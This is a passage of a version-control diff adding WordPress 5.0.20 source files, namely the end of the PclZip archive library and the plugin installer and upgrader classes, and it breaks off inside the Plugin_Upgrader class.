+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privMerge()
+  // Description :
+  //   If $p_archive_to_add does not exist, the function exit with a success result.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privMerge(&$p_archive_to_add)
+  {
+    $v_result=1;
+
+    // ----- Look if the archive_to_add exists
+    if (!is_file($p_archive_to_add->zipname))
+    {
+
+      // ----- Nothing to merge, so merge is a success
+      $v_result = 1;
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Look if the archive exists
+    if (!is_file($this->zipname))
+    {
+
+      // ----- Do a duplicate
+      $v_result = $this->privDuplicate($p_archive_to_add->zipname);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($this->zip_fd);
+
+    // ----- Open the archive_to_add file
+    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
+    {
+      $this->privCloseFd();
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir_to_add = array();
+    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    @rewind($p_archive_to_add->zip_fd);
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the files from the archive_to_add into the temporary file
+    $v_size = $v_central_dir_to_add['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($v_zip_temp_fd);
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the block of file headers from the archive_to_add
+    $v_size = $v_central_dir_to_add['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Merge the file comments
+    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
+
+    // ----- Calculate the size of the (new) central header
+    $v_size = @ftell($v_zip_temp_fd)-$v_offset;
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive fd
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+      @fclose($v_zip_temp_fd);
+      $this->zip_fd = null;
+
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+    $p_archive_to_add->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDuplicate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDuplicate($p_archive_filename)
+  {
+    $v_result=1;
+
+    // ----- Look if the $p_archive_filename exists
+    if (!is_file($p_archive_filename))
+    {
+
+      // ----- Nothing to duplicate, so duplicate is a success.
+      $v_result = 1;
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    if (($v_result=$this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Open the temporary file in write mode
+    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
+    {
+      $this->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = filesize($p_archive_filename);
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorLog()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorLog($p_error_code=0, $p_error_string='')
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclError($p_error_code, $p_error_string);
+    }
+    else {
+      $this->error_code = $p_error_code;
+      $this->error_string = $p_error_string;
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorReset()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorReset()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclErrorReset();
+    }
+    else {
+      $this->error_code = 0;
+      $this->error_string = '';
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDisableMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDisableMagicQuotes()
+  {
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      return $v_result;
+	}
+
+    // ----- Look if already done
+    if ($this->magic_quotes_status != -1) {
+      return $v_result;
+	}
+
+	// ----- Get and memorize the magic_quote value
+	$this->magic_quotes_status = @get_magic_quotes_runtime();
+
+	// ----- Disable magic_quotes
+	if ($this->magic_quotes_status == 1) {
+	  @set_magic_quotes_runtime(0);
+	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privSwapBackMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privSwapBackMagicQuotes()
+  {
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      return $v_result;
+	}
+
+    // ----- Look if something to do
+    if ($this->magic_quotes_status != -1) {
+      return $v_result;
+	}
+
+	// ----- Swap back magic_quotes
+	if ($this->magic_quotes_status == 1) {
+  	  @set_magic_quotes_runtime($this->magic_quotes_status);
+	}
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  }
+  // End of class
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathReduction()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathReduction($p_dir)
+  {
+    $v_result = "";
+
+    // ----- Look for not empty path
+    if ($p_dir != "") {
+      // ----- Explode path by directory names
+      $v_list = explode("/", $p_dir);
+
+      // ----- Study directories from last to first
+      $v_skip = 0;
+      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
+        // ----- Look for current path
+        if ($v_list[$i] == ".") {
+          // ----- Ignore this directory
+          // Should be the first $i=0, but no check is done
+        }
+        else if ($v_list[$i] == "..") {
+		  $v_skip++;
+        }
+        else if ($v_list[$i] == "") {
+		  // ----- First '/' i.e. root slash
+		  if ($i == 0) {
+            $v_result = "/".$v_result;
+		    if ($v_skip > 0) {
+		        // ----- It is an invalid path, so the path is not modified
+		        // TBC
+		        $v_result = $p_dir;
+                $v_skip = 0;
+		    }
+		  }
+		  // ----- Last '/' i.e. indicates a directory
+		  else if ($i == (sizeof($v_list)-1)) {
+            $v_result = $v_list[$i];
+		  }
+		  // ----- Double '/' inside the path
+		  else {
+            // ----- Ignore only the double '//' in path,
+            // but not the first and last '/'
+		  }
+        }
+        else {
+		  // ----- Look for item to skip
+		  if ($v_skip > 0) {
+		    $v_skip--;
+		  }
+		  else {
+            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
+		  }
+        }
+      }
+
+      // ----- Look for skip
+      if ($v_skip > 0) {
+        while ($v_skip > 0) {
+            $v_result = '../'.$v_result;
+            $v_skip--;
+        }
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathInclusion()
+  // Description :
+  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
+  //   said in an other way, if the file or sub-dir $p_path is inside the dir
+  //   $p_dir.
+  //   The function indicates also if the path is exactly the same as the dir.
+  //   This function supports path with duplicated '/' like '//', but does not
+  //   support '.' or '..' statements.
+  // Parameters :
+  // Return Values :
+  //   0 if $p_path is not inside directory $p_dir
+  //   1 if $p_path is inside directory $p_dir
+  //   2 if $p_path is exactly the same as $p_dir
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathInclusion($p_dir, $p_path)
+  {
+    $v_result = 1;
+
+    // ----- Look for path beginning by ./
+    if (   ($p_dir == '.')
+        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
+      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
+    }
+    if (   ($p_path == '.')
+        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
+      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
+    }
+
+    // ----- Explode dir and path by directory separator
+    $v_list_dir = explode("/", $p_dir);
+    $v_list_dir_size = sizeof($v_list_dir);
+    $v_list_path = explode("/", $p_path);
+    $v_list_path_size = sizeof($v_list_path);
+
+    // ----- Study directories paths
+    $i = 0;
+    $j = 0;
+    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
+
+      // ----- Look for empty dir (path reduction)
+      if ($v_list_dir[$i] == '') {
+        $i++;
+        continue;
+      }
+      if ($v_list_path[$j] == '') {
+        $j++;
+        continue;
+      }
+
+      // ----- Compare the items
+      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
+        $v_result = 0;
+      }
+
+      // ----- Next items
+      $i++;
+      $j++;
+    }
+
+    // ----- Look if everything seems to be the same
+    if ($v_result) {
+      // ----- Skip all the empty items
+      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
+      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
+
+      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
+        // ----- There are exactly the same
+        $v_result = 2;
+      }
+      else if ($i < $v_list_dir_size) {
+        // ----- The path is shorter than the dir
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilCopyBlock()
+  // Description :
+  // Parameters :
+  //   $p_mode : read/write compression mode
+  //             0 : src & dest normal
+  //             1 : src gzip, dest normal
+  //             2 : src normal, dest gzip
+  //             3 : src & dest gzip
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
+  {
+    $v_result = 1;
+
+    if ($p_mode==0)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @fread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==1)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==2)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @fread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==3)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilRename()
+  // Description :
+  //   This function tries to do a simple rename() function. If it fails, it
+  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
+  //   first one.
+  // Parameters :
+  //   $p_src : Old filename
+  //   $p_dest : New filename
+  // Return Values :
+  //   1 on success, 0 on failure.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilRename($p_src, $p_dest)
+  {
+    $v_result = 1;
+
+    // ----- Try to rename the files
+    if (!@rename($p_src, $p_dest)) {
+
+      // ----- Try to copy & unlink the src
+      if (!@copy($p_src, $p_dest)) {
+        $v_result = 0;
+      }
+      else if (!@unlink($p_src)) {
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilOptionText()
+  // Description :
+  //   Translate option value in text. Mainly for debug purpose.
+  // Parameters :
+  //   $p_option : the option value.
+  // Return Values :
+  //   The option text value.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilOptionText($p_option)
+  {
+
+    $v_list = get_defined_constants();
+    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
+	    $v_prefix = substr($v_key, 0, 10);
+	    if ((   ($v_prefix == 'PCLZIP_OPT')
+           || ($v_prefix == 'PCLZIP_CB_')
+           || ($v_prefix == 'PCLZIP_ATT'))
+	        && ($v_list[$v_key] == $p_option)) {
+        return $v_key;
+	    }
+    }
+
+    $v_result = 'Unknown';
+
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilTranslateWinPath()
+  // Description :
+  //   Translate windows path by replacing '\' by '/' and optionally removing
+  //   drive letter.
+  // Parameters :
+  //   $p_path : path to translate.
+  //   $p_remove_disk_letter : true | false
+  // Return Values :
+  //   The path translated.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
+  {
+    if (stristr(php_uname(), 'windows')) {
+      // ----- Look for potential disk letter
+      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
+          $p_path = substr($p_path, $v_position+1);
+      }
+      // ----- Change potential windows directory separator
+      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
+          $p_path = strtr($p_path, '\\', '/');
+      }
+    }
+    return $p_path;
+  }
+  // --------------------------------------------------------------------------------
+
+
+?>
Index: /tags/5.0.20/src/wp-admin/includes/class-plugin-installer-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-plugin-installer-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-plugin-installer-skin.php	(revision 56912)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * Upgrader API: Plugin_Installer_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Plugin Installer Skin for WordPress Plugin Installer.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Plugin_Installer_Skin extends WP_Upgrader_Skin {
+	public $api;
+	public $type;
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	/**
+	 */
+	public function before() {
+		if ( !empty($this->api) )
+			$this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin <strong>%s %s</strong>.'), $this->api->name, $this->api->version);
+	}
+
+	/**
+	 */
+	public function after() {
+		$plugin_file = $this->upgrader->plugin_info();
+
+		$install_actions = array();
+
+		$from = isset($_GET['from']) ? wp_unslash( $_GET['from'] ) : 'plugins';
+
+		if ( 'import' == $from ) {
+			$install_actions['activate_plugin'] = '<a class="button button-primary" href="' . wp_nonce_url( 'plugins.php?action=activate&amp;from=import&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ) . '" target="_parent">' . __( 'Activate Plugin &amp; Run Importer' ) . '</a>';
+		} else if ( 'press-this' == $from ) {
+			$install_actions['activate_plugin'] = '<a class="button button-primary" href="' . wp_nonce_url( 'plugins.php?action=activate&amp;from=press-this&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ) . '" target="_parent">' . __( 'Activate Plugin &amp; Return to Press This' ) . '</a>';
+		} else {
+			$install_actions['activate_plugin'] = '<a class="button button-primary" href="' . wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ) . '" target="_parent">' . __( 'Activate Plugin' ) . '</a>';
+		}
+
+		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
+			$install_actions['network_activate'] = '<a class="button button-primary" href="' . wp_nonce_url( 'plugins.php?action=activate&amp;networkwide=1&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ) . '" target="_parent">' . __( 'Network Activate' ) . '</a>';
+			unset( $install_actions['activate_plugin'] );
+		}
+
+		if ( 'import' == $from ) {
+			$install_actions['importers_page'] = '<a href="' . admin_url( 'import.php' ) . '" target="_parent">' . __( 'Return to Importers' ) . '</a>';
+		} elseif ( $this->type == 'web' ) {
+			$install_actions['plugins_page'] = '<a href="' . self_admin_url( 'plugin-install.php' ) . '" target="_parent">' . __( 'Return to Plugin Installer' ) . '</a>';
+		} elseif ( 'upload' == $this->type && 'plugins' == $from ) {
+			$install_actions['plugins_page'] = '<a href="' . self_admin_url( 'plugin-install.php' ) . '">' . __( 'Return to Plugin Installer' ) . '</a>';
+		} else {
+			$install_actions['plugins_page'] = '<a href="' . self_admin_url( 'plugins.php' ) . '" target="_parent">' . __( 'Return to Plugins page' ) . '</a>';
+		}
+
+		if ( ! $this->result || is_wp_error($this->result) ) {
+			unset( $install_actions['activate_plugin'], $install_actions['network_activate'] );
+		} elseif ( ! current_user_can( 'activate_plugin', $plugin_file ) ) {
+			unset( $install_actions['activate_plugin'] );
+		}
+
+		/**
+		 * Filters the list of action links available following a single plugin installation.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $install_actions Array of plugin action links.
+		 * @param object $api             Object containing WordPress.org API plugin data. Empty
+		 *                                for non-API installs, such as when a plugin is installed
+		 *                                via upload.
+		 * @param string $plugin_file     Path to the plugin file.
+		 */
+		$install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file );
+
+		if ( ! empty( $install_actions ) ) {
+			$this->feedback( implode( ' ', (array) $install_actions ) );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * Upgrader API: Plugin_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Plugin Upgrader Skin for WordPress Plugin Upgrades.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $plugin = '';
+	public $plugin_active = false;
+	public $plugin_network_active = false;
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct( $args = array() ) {
+		$defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Update Plugin') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->plugin = $args['plugin'];
+
+		$this->plugin_active = is_plugin_active( $this->plugin );
+		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );
+
+		parent::__construct($args);
+	}
+
+	/**
+	 */
+	public function after() {
+		$this->plugin = $this->upgrader->plugin_info();
+		if ( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){
+			// Currently used only when JS is off for a single plugin update?
+			echo '<iframe title="' . esc_attr__( 'Update progress' ) . '" style="border:0;overflow:hidden" width="100%" height="170" src="' . wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ) . '"></iframe>';
+		}
+
+		$this->decrement_update_count( 'plugin' );
+
+		$update_actions =  array(
+			'activate_plugin' => '<a href="' . wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin) . '" target="_parent">' . __( 'Activate Plugin' ) . '</a>',
+			'plugins_page' => '<a href="' . self_admin_url( 'plugins.php' ) . '" target="_parent">' . __( 'Return to Plugins page' ) . '</a>'
+		);
+		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) )
+			unset( $update_actions['activate_plugin'] );
+
+		/**
+		 * Filters the list of action links available following a single plugin update.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $update_actions Array of plugin action links.
+		 * @param string $plugin         Path to the plugin file.
+		 */
+		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-plugin-upgrader.php	(revision 56912)
@@ -0,0 +1,459 @@
+<?php
+/**
+ * Upgrade API: Plugin_Upgrader class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for upgrading/installing plugins.
+ *
+ * It is designed to upgrade/install plugins from a local zip, remote zip URL,
+ * or uploaded zip file.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ *
+ * @see WP_Upgrader
+ */
+class Plugin_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Plugin upgrade result.
+	 *
+	 * @since 2.8.0
+	 * @var array|WP_Error $result
+	 *
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether a bulk upgrade/installation is being performed.
+	 *
+	 * @since 2.9.0
+	 * @var bool $bulk
+	 */
+	public $bulk = false;
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The plugin is at the latest version.');
+		$this->strings['no_package'] = __('Update package not available.');
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['remove_old'] = __('Removing the old version of the plugin&#8230;');
+		$this->strings['remove_old_failed'] = __('Could not remove the old plugin.');
+		$this->strings['process_failed'] = __('Plugin update failed.');
+		$this->strings['process_success'] = __('Plugin updated successfully.');
+		$this->strings['process_bulk_success'] = __('Plugins updated successfully.');
+	}
+
+	/**
+	 * Initialize the installation strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function install_strings() {
+		$this->strings['no_package'] = __('Installation package not available.');
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __('Unpacking the package&#8230;');
+		$this->strings['installing_package'] = __('Installing the plugin&#8230;');
+		$this->strings['no_files'] = __('The plugin contains no files.');
+		$this->strings['process_failed'] = __('Plugin installation failed.');
+		$this->strings['process_success'] = __('Plugin installed successfully.');
+	}
+
+	/**
+	 * Install a plugin package.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
+	 * @param string $package The full local path or URI of the package.
+	 * @param array  $args {
+	 *     Optional. Other arguments for installing a plugin package. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise.
+	 */
+	public function install( $package, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->install_strings();
+
+		add_filter('upgrader_source_selection', array($this, 'check_package') );
+		if ( $parsed_args['clear_update_cache'] ) {
+			// Clear cache so wp_update_plugins() knows about the new plugin.
+			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
+		}
+
+		$this->run( array(
+			'package' => $package,
+			'destination' => WP_PLUGIN_DIR,
+			'clear_destination' => false, // Do not overwrite files.
+			'clear_working' => true,
+			'hook_extra' => array(
+				'type' => 'plugin',
+				'action' => 'install',
+			)
+		) );
+
+		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
+		remove_filter('upgrader_source_selection', array($this, 'check_package') );
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of plugin update information
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade a plugin.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
